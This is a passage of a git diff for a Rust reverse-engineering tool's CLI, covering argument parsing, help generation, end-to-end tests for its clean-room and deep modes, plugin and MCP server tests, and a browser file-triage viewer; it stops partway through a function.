= positionals.next() + { + inv.open_path = Some(p); + } + // Remaining positionals fill required string params in order, then an optional path (what a bare + // argument almost always is, whatever other options sort before it), then other string params. + let mut slots: Vec = required(schema).into_iter().filter(|k| !params.contains_key(k)).collect(); + if !slots.iter().any(|k| k == "path") && !params.contains_key("path") && props.get("path").is_some_and(|v| prop_type(schema, v) == "string") { + slots.push("path".into()); + } + for k in props.keys() { + if !slots.contains(k) && !params.contains_key(k) && prop_type(schema, props.get(k).unwrap_or(&Value::Null)) == "string" { + slots.push(k.clone()); + } + } + let mut slots = slots.into_iter(); + for p in positionals { + let slot = slots.next().ok_or_else(|| format!("{} doesn't take another argument ({p:?})", spec.cli_name()))?; + let ty = prop_type(schema, props.get(&slot).unwrap_or(&Value::Null)); + params.insert(slot.clone(), convert(&ty, &slot.replace('_', "-"), &p)?); + } + inv.params = Value::Object(params); + Ok(inv) +} + +fn merge(into: &mut Map, v: Value) -> Result<(), String> { + match v { + Value::Object(m) => { + into.extend(m); + Ok(()) + } + _ => Err("params must be a JSON object".into()), + } +} + +/// Help text for one tool, generated from its schema. +/// The fields inside an object option (or an array of objects), listed under it as +/// `option.field`, two levels deep and at most 30 a level. +fn nested_fields(schema: &Value, prop: &Value, path: &str, depth: usize, out: &mut String) { + if depth > 2 { + return; + } + let mut obj = resolve_ref(schema, prop); + // Option arrives as anyOf/oneOf [T, null]. + if let Some(alt) = ["anyOf", "oneOf"] + .iter() + .find_map(|k| obj.get(*k).and_then(Value::as_array)) + .and_then(|a| a.iter().find(|x| x.get("type").and_then(Value::as_str) != Some("null"))) + { + obj = resolve_ref(schema, alt); + } + if obj.get("type").and_then(Value::as_str) == Some("array") + && let Some(items) = obj.get("items") + { + obj = resolve_ref(schema, items); + } + let Some(fields) = obj.get("properties").and_then(Value::as_object) else { return }; + let req = required(obj); + for (name, f) in fields.iter().take(30) { + let ty = prop_type(schema, f); + let desc = f.get("description").and_then(Value::as_str).unwrap_or_default(); + let star = if req.contains(name) { " (required)" } else { "" }; + let field = format!("{path}.{name}"); + out.push_str(&format!(" {field:<26} {ty}{star} {desc}\n")); + nested_fields(schema, f, &field, depth + 1, out); + } +} + +pub fn help(spec: &ToolSpec, schema: &Value) -> String { + let props = schema_props(schema); + let req = required(schema); + let mut s = format!("{} — {}\n\n{}\n\nUsage: craft-anything-cli {}", spec.cli_name(), spec.title, spec.summary, spec.cli_name()); + if spec.requires == Requires::Target { + s.push_str(" "); + } + s.push_str(" [options] [--json '{...}' | @params.json | -]\n"); + if !props.is_empty() { + s.push_str("\nOptions:\n"); + for (k, p) in &props { + let ty = prop_type(schema, p); + let desc = p.get("description").and_then(Value::as_str).unwrap_or_default(); + let star = if req.contains(k) { " (required)" } else { "" }; + s.push_str(&format!(" --{:<28} {ty}{star} {desc}\n", k.replace('_', "-"))); + nested_fields(schema, p, k, 1, &mut s); + } + } + if spec.requires == Requires::Target { + s.push_str("\nTarget options (how is opened):\n"); + s.push_str(" --architecture x86, x86_64, arm or arm64 for a raw binary (implies --format raw-binary)\n"); + s.push_str(" --entry-point Load/entry address (0x-hex) for a raw binary\n"); + s.push_str(" --format raw-binary or dos-com to force how the file is read\n"); + s.push_str(" --language-id Deep mode only: pin a Ghidra processor language\n"); + } + let own_format = props.contains_key("format"); + s.push_str(&format!( + "\nOutput:\n --output-format json, jsonl, md or text{}\n", + if own_format { " (--format after the tool name is this tool's own option)" } else { " (--format works too)" } + )); + s +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_engine::Registry; + + // The tests use built-in tools, whose schema is their own type's. + fn parse(spec: &ToolSpec, args: &[String]) -> Result { + super::parse(spec, &(spec.input_schema)(), args) + } + fn help(spec: &ToolSpec) -> String { + super::help(spec, &(spec.input_schema)()) + } + + #[test] + fn help_lists_fields_inside_object_options() { + let r = Registry::with_all_tools(); + let h = help(r.get("app_rebuild_claim_check").unwrap()); + assert!(h.contains("specification.goal"), "{h}"); + assert!(h.contains("specification.expectations.evidence_ids"), "array items are listed too: {h}"); + let plan = help(r.get("core_plan_update").unwrap()); + assert!(plan.contains(" steps."), "{plan}"); + let flat = help(r.get("core_target_open").unwrap()); + assert!(!flat.contains(" path."), "plain options have no nested lines"); + } + + #[test] + fn flags_positionals_and_json() { + let r = Registry::with_all_tools(); + let open = r.get("core_target_open").unwrap(); + let inv = parse(open, &["/bin/ls".into()]).unwrap(); + assert_eq!(inv.params["path"], "/bin/ls"); + assert!(inv.open_path.is_none()); + + let upd = r.get("core_plan_update").unwrap(); + let inv = parse(upd, &["--json".into(), r#"{"steps":[]}"#.into(), "--based-on-revision".into(), "3".into()]).unwrap(); + assert_eq!(inv.params, json!({"steps": [], "based_on_revision": 3})); + assert!(parse(upd, &["--nope".into(), "1".into()]).unwrap_err().contains("--steps")); + assert!(parse(upd, &["--based-on-revision".into(), "x".into()]).is_err()); + + let close = r.get("core_target_close").unwrap(); + let inv = parse(close, &["/tmp/a.bin".into()]).unwrap(); + assert_eq!(inv.open_path.as_deref(), Some("/tmp/a.bin")); + + let rj = r.get("core_journal_read").unwrap(); + let inv = parse(rj, &["--limit=5".into(), "--kind".into(), "tool_call".into()]).unwrap(); + assert_eq!(inv.params, json!({"limit": 5, "kind": "tool_call"})); + assert!(parse(rj, &["--help".into()]).unwrap().help); + assert!(help(rj).contains("--limit")); + } + + #[test] + fn format_flag_goes_to_the_tool_its_target_or_the_output() { + let r = Registry::with_all_tools(); + // A tool with its own `format` option keeps it; the output format has its own flag. + let open = r.get("core_target_open").unwrap(); + let inv = parse(open, &["--format".into(), "raw-binary".into(), "--output-format".into(), "text".into()]).unwrap(); + assert_eq!(inv.params["format"], "raw-binary"); + assert_eq!(inv.output_format.as_deref(), Some("text")); + assert!(help(open).contains("this tool's own option")); + // Without one, --format is the output format... + let rj = r.get("core_journal_read").unwrap(); + let inv = parse(rj, &["--format=md".into()]).unwrap(); + assert_eq!(inv.output_format.as_deref(), Some("md")); + assert_eq!(inv.params, json!({})); + // ...and on a target tool, raw-binary/dos-com and the raw options describe how to open the path. + let pc = r.get("native_function_pseudocode").unwrap(); + let args: Vec = ["/tmp/raw.bin", "--architecture", "x86_64", "--entry-point", "0x1000", "--function", "0x1000", "--format", "text"] + .iter() + .map(|s| s.to_string()) + .collect(); + let inv = parse(pc, &args).unwrap(); + assert_eq!(inv.open_path.as_deref(), Some("/tmp/raw.bin")); + assert_eq!(Value::Object(inv.open_params.clone()), json!({"architecture": "x86_64", "entry_point": "0x1000", "format": "raw-binary"})); + assert_eq!(inv.output_format.as_deref(), Some("text")); + let inv = parse(pc, &["/tmp/a.com".into(), "--format".into(), "dos-com".into()]).unwrap(); + assert_eq!(inv.open_params["format"], "dos-com"); + assert!(inv.output_format.is_none()); + assert!(help(pc).contains("--entry-point")); + } + + #[test] + fn at_file_input() { + let dir = std::env::temp_dir().join(format!("cany-cli-test-{}", std::process::id())); + std::fs::create_dir_all(&dir).unwrap(); + let f = dir.join("p.json"); + std::fs::write(&f, r#"{"question":"q?"}"#).unwrap(); + let r = Registry::with_all_tools(); + let inv = parse(r.get("core_brief_write").unwrap(), &[format!("@{}", f.display())]).unwrap(); + assert_eq!(inv.params["question"], "q?"); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn parameters_from_a_pipe_are_bounded() { + assert_eq!(read_bounded_json(&b"{\"a\":1}"[..]).unwrap(), "{\"a\":1}"); + let big = std::io::repeat(b' ').take(MAX_STDIN_JSON + 10); + use std::io::Read as _; + assert!(read_bounded_json(big).unwrap_err().contains("over the limit")); + assert!(read_bounded_json(&[0xffu8, 0xfe][..]).is_err(), "bad text is an error"); + } +} diff --git a/desktop/apps/craft-anything-cli/tests/build_scripts.rs b/desktop/apps/craft-anything-cli/tests/build_scripts.rs new file mode 100644 index 0000000..b202b7e --- /dev/null +++ b/desktop/apps/craft-anything-cli/tests/build_scripts.rs @@ -0,0 +1,19 @@ +//! The app build scripts must fail the build (Cargo's `cargo::error` instruction) when Windows +//! resources are required. The single-colon `cargo:error=` form is ignored by Cargo as metadata. + +use std::path::Path; + +fn read(rel: &str) -> String { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join(rel); + std::fs::read_to_string(&path).unwrap_or_default() +} + +#[test] +fn required_windows_resource_failure_uses_cargo_error_directive() { + for rel in ["build.rs", "../craft-anything/build.rs"] { + let src = read(rel); + assert!(!src.is_empty(), "{rel} should be readable"); + assert!(!src.contains("cargo:error="), "{rel} emits the ignored single-colon error directive"); + assert!(src.contains("cargo::error="), "{rel} must emit cargo::error= when resources are required"); + } +} diff --git a/desktop/apps/craft-anything-cli/tests/cli.rs b/desktop/apps/craft-anything-cli/tests/cli.rs new file mode 100644 index 0000000..1e9949f --- /dev/null +++ b/desktop/apps/craft-anything-cli/tests/cli.rs @@ -0,0 +1,217 @@ +//! End-to-end tests of the built binary (run through the process runner). + +use craft_anything_platform::process::{Output, Process}; +use serde_json::{Value, json}; +use std::time::Duration; + +fn cli(args: &[&str], config: &std::path::Path) -> Output { + Process::new(env!("CARGO_BIN_EXE_craft-anything-cli")).args(args).env("REI_CONFIG_DIR", config).timeout(Duration::from_secs(60)).run().unwrap() +} + +#[test] +fn commands_and_exit_codes() { + let cfg = tempfile::tempdir().unwrap(); + let out = cli(&["commands", "--format", "json"], cfg.path()); + assert!(out.success); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert!(v.as_array().unwrap().iter().any(|c| c["command"] == "core-session-show")); + assert_eq!(cli(&["no-such-tool"], cfg.path()).code, Some(2)); + assert_eq!(cli(&["--bogus-flag"], cfg.path()).code, Some(2)); + let fail = cli(&["core-finding-record", "--statement", "x", "--evidence-ids", "ev_nope"], cfg.path()); + assert_eq!(fail.code, Some(1)); + let e: Value = serde_json::from_slice(&fail.stdout).unwrap(); + assert_eq!(e["error"]["code"], "bad_input"); +} + +/// #249: in Clean room a target tool the mode refuses was listed as available, because nothing +/// being open yet was waived for every target tool. +#[test] +fn capabilities_keep_the_clean_room_refusal() { + let cfg = tempfile::tempdir().unwrap(); + let tool = |args: &[&str], id: &str| { + let out = cli(args, cfg.path()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + let tools = v["toolsets"].as_array().unwrap().iter().flat_map(|t| t["tools"].as_array().unwrap().clone()); + tools.into_iter().find(|t| t["tool"] == id).unwrap_or_else(|| panic!("{id} not in {v}")) + }; + let clean = tool(&["--format", "json", "capabilities"], "native_function_pseudocode"); + assert_eq!((clean["available"].as_bool(), clean["needs_target"].as_bool()), (Some(false), Some(true)), "{clean}"); + assert!(clean["reason"].as_str().is_some_and(|r| !r.is_empty()), "{clean}"); + let deep = tool(&["--deep", "--format", "json", "capabilities"], "native_function_pseudocode"); + assert_eq!((deep["available"].as_bool(), deep["reason"].is_null()), (Some(true), true), "{deep}"); +} + +/// After the tool name, `--project` is the tool's own option when it has one (it used to be taken +/// as the global investigation folder, which was then created there). +#[test] +fn a_tools_own_project_option_reaches_the_tool() { + let cfg = tempfile::tempdir().unwrap(); + let folder = tempfile::tempdir().unwrap(); + let out = cli(&["project-show", "--project", folder.path().to_str().unwrap()], cfg.path()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + // project_show read the folder (it isn't a project, so it says so) instead of missing its option. + let msg = v["error"]["message"].as_str().unwrap_or_default(); + assert!(!msg.contains("missing field") && !msg.contains("`project`"), "{v}"); + assert_eq!(std::fs::read_dir(folder.path()).unwrap().count(), 0, "no investigation was created in the folder"); +} + +#[test] +fn target_tools_open_then_close_and_project_journal() { + let cfg = tempfile::tempdir().unwrap(); + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("sample.bin"); + std::fs::write(&file, b"\x7fELF not really").unwrap(); + let proj = dir.path().join("p.cany"); + let out = cli(&["--deep", "native-cursor-show", file.to_str().unwrap(), "--format", "json", "--project", proj.to_str().unwrap()], cfg.path()); + assert!(out.success, "{}", out.stdout_text()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert_eq!(v["result"]["document"], "sample.bin"); + let days: Vec<_> = std::fs::read_dir(proj.join("journal")).unwrap().collect(); + assert_eq!(days.len(), 1); +} + +#[test] +fn clean_room_refuses_to_look_inside_and_says_how_to_turn_on_deep_mode() { + let cfg = tempfile::tempdir().unwrap(); + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("sample.bin"); + std::fs::write(&file, b"\x7fELF not really").unwrap(); + let out = cli(&["core-target-open", file.to_str().unwrap()], cfg.path()); + assert_eq!(out.code, Some(1), "{}", out.stdout_text()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert_eq!(v["error"]["details"]["reason"], "clean_room", "{v}"); + assert!(v["error"]["remediation"].as_str().unwrap_or_default().contains("--deep"), "{v}"); + // --deep is for this run only: nothing is saved. + assert!(cli(&["--deep", "core-target-open", file.to_str().unwrap()], cfg.path()).success); + assert!(!cfg.path().join("config.toml").exists(), "the run's mode isn't saved"); + assert_eq!(cli(&["--deep", "--clean-room", "core-session-show"], cfg.path()).code, Some(2)); + assert_eq!(cli(&["core-session-show", "--deep", "--clean-room"], cfg.path()).code, Some(2)); +} + +#[test] +fn mcp_over_stdio() { + let cfg = tempfile::tempdir().unwrap(); + let input = [ + json!({"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "t", "version": "0"}}}), + json!({"jsonrpc": "2.0", "method": "notifications/initialized"}), + json!({"jsonrpc": "2.0", "id": 2, "method": "tools/list"}), + json!({"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "core_session_show", "arguments": {}}}), + ] + .iter() + .map(|v| format!("{v}\n")) + .collect::(); + let out = Process::new(env!("CARGO_BIN_EXE_craft-anything-cli")) + .arg("mcp") + .env("REI_CONFIG_DIR", cfg.path()) + .stdin_bytes(input) + .timeout(Duration::from_secs(30)) + .run() + .unwrap(); + assert!(out.success); + let msgs: Vec = out.stdout_text().lines().map(|l| serde_json::from_str(l).unwrap()).collect(); + let by_id = |id: u64| msgs.iter().find(|m| m["id"] == json!(id)).unwrap().clone(); + assert_eq!(by_id(1)["result"]["serverInfo"]["name"], "craft-anything"); + assert!(by_id(2)["result"]["tools"].as_array().unwrap().iter().any(|t| t["name"] == "core_session_show")); + assert_eq!(by_id(3)["result"]["isError"], false); +} + +#[test] +fn raw_binary_open_params_tool_format_and_project_evidence_across_processes() { + let cfg = tempfile::tempdir().unwrap(); + let dir = tempfile::tempdir().unwrap(); + let raw = dir.path().join("raw.bin"); + // push rbp; mov rbp, rsp; xor eax, eax; pop rbp; ret + std::fs::write(&raw, [0x55, 0x48, 0x89, 0xe5, 0x31, 0xc0, 0x5d, 0xc3]).unwrap(); + let raw = raw.to_str().unwrap(); + let proj = dir.path().join("p.cany"); + let proj = proj.to_str().unwrap(); + + // A tool's own --format reaches the tool; the output format has --output-format. + let out = cli( + &["core-target-open", raw, "--format", "raw-binary", "--architecture", "x86_64", "--entry-point", "0x1000", "--output-format", "json", "--deep"], + cfg.path(), + ); + assert!(out.success, "{}", out.stdout_text()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert_eq!(v["result"]["kind"], "raw-binary", "{v}"); + + // A target tool reopens the path with the raw-binary options. + let out = cli( + &["--deep", "native-function-pseudocode", raw, "--architecture", "x86_64", "--entry-point", "0x1000", "--function", "0x1000", "--project", proj], + cfg.path(), + ); + assert!(out.success, "{}", out.stdout_text()); + + // A new process on the same project sees the stored evidence. + let out = cli(&["core-evidence-show", "--detail", "summary", "--project", proj], cfg.path()); + assert!(out.success, "{}", out.stdout_text()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert!(v["result"]["total"].as_u64().unwrap() >= 1, "{v}"); + let out = cli(&["core-session-show", "--project", proj], cfg.path()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + assert!(v["result"]["evidence_records"].as_u64().unwrap() >= 1, "{v}"); +} + +fn cli_with_stdin(args: &[&str], config: &std::path::Path, input: &[u8]) -> Output { + Process::new(env!("CARGO_BIN_EXE_craft-anything-cli")) + .args(args) + .env("REI_CONFIG_DIR", config) + .stdin_bytes(input.to_vec()) + .timeout(Duration::from_secs(60)) + .run() + .unwrap() +} + +/// `--json -` takes a tool's parameters from a pipe, and `-` isn't read as the shorthand for JSON output. +#[test] +fn parameters_can_come_from_a_pipe() { + let cfg = tempfile::tempdir().unwrap(); + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("plain.txt"); + std::fs::write(&file, b"nothing packed here").unwrap(); + let params = json!({"path": file}).to_string(); + let out = cli_with_stdin(&["core-packed-files-list", "--deep", "--json", "-"], cfg.path(), params.as_bytes()); + let v: Value = serde_json::from_slice(&out.stdout).unwrap(); + // The file reached the tool: it says the file isn't packed, not that the path is missing. + assert_eq!(v["error"]["code"], "not_supported", "{v}"); + let bad = cli_with_stdin(&["core-packed-files-list", "--deep", "--json", "-"], cfg.path(), b"not json"); + assert_eq!(bad.code, Some(2), "{}", String::from_utf8_lossy(&bad.stderr)); + let empty = cli_with_stdin(&["core-packed-files-list", "--deep", "--json", "-"], cfg.path(), b""); + assert_eq!(empty.code, Some(2), "an empty pipe is an error, not a wait"); +} + +#[test] +fn csv_and_tsv_output_show_a_tools_rows() { + let cfg = tempfile::tempdir().unwrap(); + let out = cli(&["core-session-show", "--output-format", "csv"], cfg.path()); + assert!(out.success); + let text = String::from_utf8_lossy(&out.stdout); + let mut lines = text.lines(); + assert!(lines.next().unwrap().split(',').any(|c| c == "clean_room"), "{text}"); + let tsv = cli(&["core-session-show", "--output-format", "tsv"], cfg.path()); + assert!(String::from_utf8_lossy(&tsv.stdout).lines().next().unwrap().split('\t').any(|c| c == "clean_room")); +} + +/// A bare argument is the file, not whichever string option sorts first (`contains`, `detail`). +#[test] +fn a_bare_argument_is_the_path_even_when_other_options_sort_first() { + let cfg = tempfile::tempdir().unwrap(); + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("plain.txt"); + std::fs::write(&file, b"nothing packed here").unwrap(); + let path = file.to_str().unwrap(); + let packed: Value = serde_json::from_slice(&cli(&["core-packed-files-list", "--deep", path], cfg.path()).stdout).unwrap(); + assert_eq!(packed["error"]["code"], "not_supported", "the file was read: {packed}"); + let model: Value = serde_json::from_slice(&cli(&["formats-ai-weights-show", "--deep", path], cfg.path()).stdout).unwrap(); + assert!(!model["error"]["message"].as_str().unwrap_or_default().contains("unknown variant"), "{model}"); +} + +/// #254: the top-level help must not advise `report --format`, which the parser sends to the global output format. +#[test] +fn help_does_not_advise_a_report_format_option() { + let cfg = tempfile::tempdir().unwrap(); + let help = cli(&["--help"], cfg.path()); + assert!(help.success); + assert!(!help.stdout_text().contains("(core-target-open, report")); + assert_eq!(cli(&["report", "--format", "html"], cfg.path()).code, Some(2)); +} diff --git a/desktop/apps/craft-anything-cli/tests/live_rebuild.rs b/desktop/apps/craft-anything-cli/tests/live_rebuild.rs new file mode 100644 index 0000000..7dc9f55 --- /dev/null +++ b/desktop/apps/craft-anything-cli/tests/live_rebuild.rs @@ -0,0 +1,47 @@ +//! Live end-to-end rebuild with a real coding agent. Opt-in: it needs network access, a +//! signed-in Claude Code (`claude auth login`) and spends the person's usage, so it only runs +//! with `CRAFT_E2E=1`: +//! +//! ```sh +//! CRAFT_E2E=1 cargo test -p craft-anything-cli --test live_rebuild -- --nocapture +//! ``` + +use craft_anything_platform::process::Process; +use serde_json::Value; +use std::time::Duration; + +fn enabled() -> bool { + let on = std::env::var("CRAFT_E2E").is_ok_and(|v| v == "1"); + if !on { + eprintln!("skipped: set CRAFT_E2E=1 to run the live rebuild"); + } + on +} + +#[test] +fn website_clone_reaches_ready_and_looks_alike() { + if !enabled() { + return; + } + let projects = tempfile::tempdir().unwrap(); + let out = Process::new(env!("CARGO_BIN_EXE_craft-anything-cli")) + .args(["rebuild", "https://example.com", "Clone this website", "--rounds", "1", "--unattended", "--format", "text"]) + .arg("--projects-dir") + .arg(projects.path()) + .timeout(Duration::from_secs(45 * 60)) + .idle_timeout(Duration::from_secs(15 * 60)) + .run() + .unwrap(); + let log = out.stdout_text(); + assert!(out.success, "rebuild failed:\n{log}"); + + let dirs: Vec<_> = std::fs::read_dir(projects.path()).unwrap().filter_map(Result::ok).filter(|e| e.path().is_dir()).collect(); + assert_eq!(dirs.len(), 1, "one project folder"); + let root = dirs[0].path(); + let manifest: Value = serde_json::from_slice(&std::fs::read(root.join("craft.json")).unwrap()).unwrap(); + assert_eq!(manifest["status"], "ready", "{log}"); + assert_eq!(manifest["target"]["kind"], "website"); + let best = manifest["checks"].as_array().unwrap().iter().filter_map(|c| c["similarity"].as_f64()).fold(0.0, f64::max); + assert!(best >= 80.0, "best likeness {best:.0}%:\n{log}"); + assert!(["dist", "out", "build"].iter().any(|d| root.join("app").join(d).join("index.html").is_file()), "a built site in app/dist, app/out or app/build"); +} diff --git a/desktop/apps/craft-anything-cli/tests/plugins.rs b/desktop/apps/craft-anything-cli/tests/plugins.rs new file mode 100644 index 0000000..1f16cb9 --- /dev/null +++ b/desktop/apps/craft-anything-cli/tests/plugins.rs @@ -0,0 +1,56 @@ +//! Plugins end to end: REI Reverse Engineer's own MCP server (`craft-anything-cli mcp`) configured as a +//! plugin, refreshed, listed and called through the CLI. Everything stays in temp folders. + +use craft_anything_platform::process::{Output, Process}; +use serde_json::Value; +use std::time::Duration; + +fn cli(args: &[&str], config: &std::path::Path) -> Output { + Process::new(env!("CARGO_BIN_EXE_craft-anything-cli")).args(args).env("REI_CONFIG_DIR", config).timeout(Duration::from_secs(120)).run().unwrap() +} + +#[test] +fn an_mcp_server_becomes_a_toolset_of_proxied_tools() { + let cfg = tempfile::tempdir().unwrap(); + let projects = tempfile::tempdir().unwrap(); + let exe = env!("CARGO_BIN_EXE_craft-anything-cli"); + std::fs::write( + cfg.path().join("config.toml"), + format!("version = 1\n\n[[plugins.mcp]]\nid = \"selfmcp\"\nname = \"Itself\"\ncommand = '{exe}'\nargs = [\"mcp\", \"--all-tools\"]\nconsent = false\n"), + ) + .unwrap(); + + // Before a refresh nothing is cached, so no proxied tools. + let list = cli(&["plugins-list", "--format", "json"], cfg.path()); + assert!(list.success, "{}", list.stdout_text()); + let v: Value = serde_json::from_slice(&list.stdout).unwrap(); + assert_eq!(v["result"]["plugins"][0]["id"], "selfmcp"); + assert_eq!(v["result"]["plugins"][0]["cached_tools"].as_array().map(Vec::len), Some(0)); + + // Refreshing starts the server (it's a program, so it needs --allow-run) and caches its tools. + assert!(!cli(&["plugins-refresh", "--format", "json"], cfg.path()).success, "refused without consent"); + let r = cli(&["plugins-refresh", "--allow-run", "--format", "json"], cfg.path()); + assert!(r.success, "{}", r.stdout_text()); + let v: Value = serde_json::from_slice(&r.stdout).unwrap(); + let tools = v["result"]["refreshed"][0]["tools"].as_array().cloned().unwrap_or_default(); + assert!(tools.iter().any(|t| t == "project_list"), "{v}"); + + // The next start offers them as a toolset of its own. + let c = cli(&["commands", "--format", "json"], cfg.path()); + let v: Value = serde_json::from_slice(&c.stdout).unwrap(); + let ours = v.as_array().unwrap().iter().find(|c| c["command"] == "selfmcp-project-list").cloned(); + assert_eq!(ours.as_ref().map(|c| c["toolset"].clone()), Some(Value::from("selfmcp")), "{v}"); + + // A plugin's tool may look at anything, so Clean room doesn't run it. + let dir = projects.path().to_str().unwrap(); + let refused = cli(&["selfmcp-project-list", "--projects-dir", dir, "--format", "json"], cfg.path()); + let v: Value = serde_json::from_slice(&refused.stdout).unwrap(); + assert_eq!(v["error"]["details"]["reason"], "clean_room", "{v}"); + + // In Deep mode a call goes through the server and comes back as evidence from an external service. + let call = cli(&["--deep", "selfmcp-project-list", "--projects-dir", dir, "--format", "json"], cfg.path()); + assert!(call.success, "{}", call.stdout_text()); + let v: Value = serde_json::from_slice(&call.stdout).unwrap(); + assert_eq!(v["authority"], "outside-service", "{v}"); + assert!(v.to_string().contains("projects_dir"), "{v}"); +} diff --git a/desktop/apps/craft-anything-web/Cargo.toml b/desktop/apps/craft-anything-web/Cargo.toml new file mode 100644 index 0000000..96bcb1d --- /dev/null +++ b/desktop/apps/craft-anything-web/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "craft-anything-web" +description = "Craft Anything in the browser: drop a file to see what it is (eframe web runner, WebGPU with WebGL2 fallback)" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[[bin]] +name = "craft-anything-web" +path = "src/main.rs" + +[dependencies] +# Only the wasm-safe crates (`cargo xtask wasm`): no engine, platform, AI or desktop UI. +craft-anything-evidence = { workspace = true } +craft-anything-formats = { workspace = true } +craft-anything-analysis = { workspace = true } +egui = { workspace = true } +serde_json = { workspace = true } +log = { workspace = true } + +[target.'cfg(target_arch = "wasm32")'.dependencies] +# `wgpu` pulls egui-wgpu's defaults: WebGPU plus the WebGL2 fallback. +eframe = { workspace = true, features = ["default_fonts", "wgpu", "accesskit"] } +# Open button: the browser's file picker (an , read in memory). +rfd = { workspace = true } +wasm-bindgen = "0.2" +wasm-bindgen-futures = "0.4" +web-sys = { version = "0.3", features = ["Window", "Document", "Element", "HtmlCanvasElement", "Location"] } diff --git a/desktop/apps/craft-anything-web/Trunk.toml b/desktop/apps/craft-anything-web/Trunk.toml new file mode 100644 index 0000000..638a404 --- /dev/null +++ b/desktop/apps/craft-anything-web/Trunk.toml @@ -0,0 +1,10 @@ +# Build with: trunk build --release (from apps/craft-anything-web) +[build] +target = "index.html" +dist = "../../dist/web" +public_url = "./" +filehash = true + +[serve] +addresses = ["127.0.0.1"] +port = 8771 diff --git a/desktop/apps/craft-anything-web/index.html b/desktop/apps/craft-anything-web/index.html new file mode 100644 index 0000000..69dcf96 --- /dev/null +++ b/desktop/apps/craft-anything-web/index.html @@ -0,0 +1,19 @@ + + + + + + Craft Anything + + + + + +
Loading Craft Anything…
+ + diff --git a/desktop/apps/craft-anything-web/src/main.rs b/desktop/apps/craft-anything-web/src/main.rs new file mode 100644 index 0000000..5a98ac1 --- /dev/null +++ b/desktop/apps/craft-anything-web/src/main.rs @@ -0,0 +1,27 @@ +//! REI Reverse Engineer in the browser: a small viewer that tells you what a file is. +//! +//! It runs only the wasm-safe crates (formats, analysis, evidence), entirely in the page: the file +//! never leaves the browser. Native programs (ELF, PE, Mach-O, DOS) get the same plain-English +//! triage as the desktop app's `triage_binary`; other files are identified by their signature. The +//! desktop app does everything else (disassembly, JavaScript apps, Android, devices, AI). +//! +//! Build with `trunk build --release` from this directory; the site lands in `dist/web`. +//! URL query flag: `?webgl` forces the WebGL2 backend instead of WebGPU. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] +// The viewer and triage only run in the browser; natively they're compiled (and tested) but unused. +#![cfg_attr(not(target_arch = "wasm32"), allow(dead_code))] + +mod triage; +mod viewer; +#[cfg(target_arch = "wasm32")] +mod web; + +#[cfg(target_arch = "wasm32")] +fn main() { + web::start(); +} + +#[cfg(not(target_arch = "wasm32"))] +fn main() { + eprintln!("craft-anything-web only runs in the browser: build it with `trunk build --release` in apps/craft-anything-web"); +} diff --git a/desktop/apps/craft-anything-web/src/triage.rs b/desktop/apps/craft-anything-web/src/triage.rs new file mode 100644 index 0000000..c3bceb5 --- /dev/null +++ b/desktop/apps/craft-anything-web/src/triage.rs @@ -0,0 +1,145 @@ +//! What a dropped file is: native triage for programs, a signature check for everything else. +//! +//! Pure and synchronous (no clock, threads or file system), so it is safe in the browser. + +use craft_anything_analysis::js_inventory::sniff_kind; +use craft_anything_analysis::native; +use craft_anything_evidence::{Confidence, sha256_hex}; +use craft_anything_formats::{entropy, parse_binary}; +use serde_json::Value; + +/// Largest file the page reads (browser memory is the limit; the desktop app has none). +pub const MAX_BYTES: usize = 512 * 1024 * 1024; + +/// The answer for one file. +pub struct Look { + pub file_name: String, + /// One or two plain sentences. + pub summary: String, + pub confidence: Confidence, + /// Label/value pairs shown as a table. + pub facts: Vec<(String, String)>, + pub limitations: Vec, + /// The full result, pretty-printed (empty when there is none beyond the facts). + pub details: String, +} + +pub fn look(file_name: &str, bytes: &[u8]) -> Look { + let mut facts = vec![("Size".to_string(), size_text(bytes.len())), ("SHA-256".to_string(), sha256_hex(bytes))]; + let sample = bytes.get(..bytes.len().min(4 * 1024 * 1024)).unwrap_or_default(); + facts.push(("Entropy (first 4 MB)".to_string(), format!("{:.2} bits per byte", entropy(sample)))); + let kind = sniff_kind(bytes, file_name); + if let Ok(bin) = parse_binary(bytes) { + let report = native::triage(&bin, bytes, file_name); + let field = |k: &str| report.result.get(k).and_then(Value::as_str).map(str::to_string); + let mut native_facts = Vec::new(); + for (label, key) in + [("Format", "format_name"), ("Runs on", "operating_system"), ("Kind", "kind"), ("Architecture", "architecture"), ("Entry point", "entry_point")] + { + if let Some(v) = field(key) { + native_facts.push((label.to_string(), v)); + } + } + if let Some(s) = report.result.get("stripped").and_then(Value::as_bool) { + native_facts.push(("Names removed (stripped)".to_string(), if s { "yes" } else { "no" }.to_string())); + } + native_facts.append(&mut facts); + return Look { + file_name: file_name.to_string(), + summary: report.summary, + confidence: report.confidence, + facts: native_facts, + limitations: report.limitations.into_iter().map(|l| l.message).collect(), + details: serde_json::to_string_pretty(&report.result).unwrap_or_default(), + }; + } + let (what, next) = describe(kind); + facts.insert(0, ("Detected as".to_string(), kind.to_string())); + Look { + file_name: file_name.to_string(), + summary: format!("{file_name} looks like {what}. {next}"), + confidence: if matches!(kind, "text" | "binary") { Confidence::Inferred } else { Confidence::Observed }, + facts, + limitations: vec!["identified from its first bytes and name only; the web viewer doesn't open containers or code".to_string()], + details: String::new(), + } +} + +/// A plain description of a sniffed kind, and where to look next. +fn describe(kind: 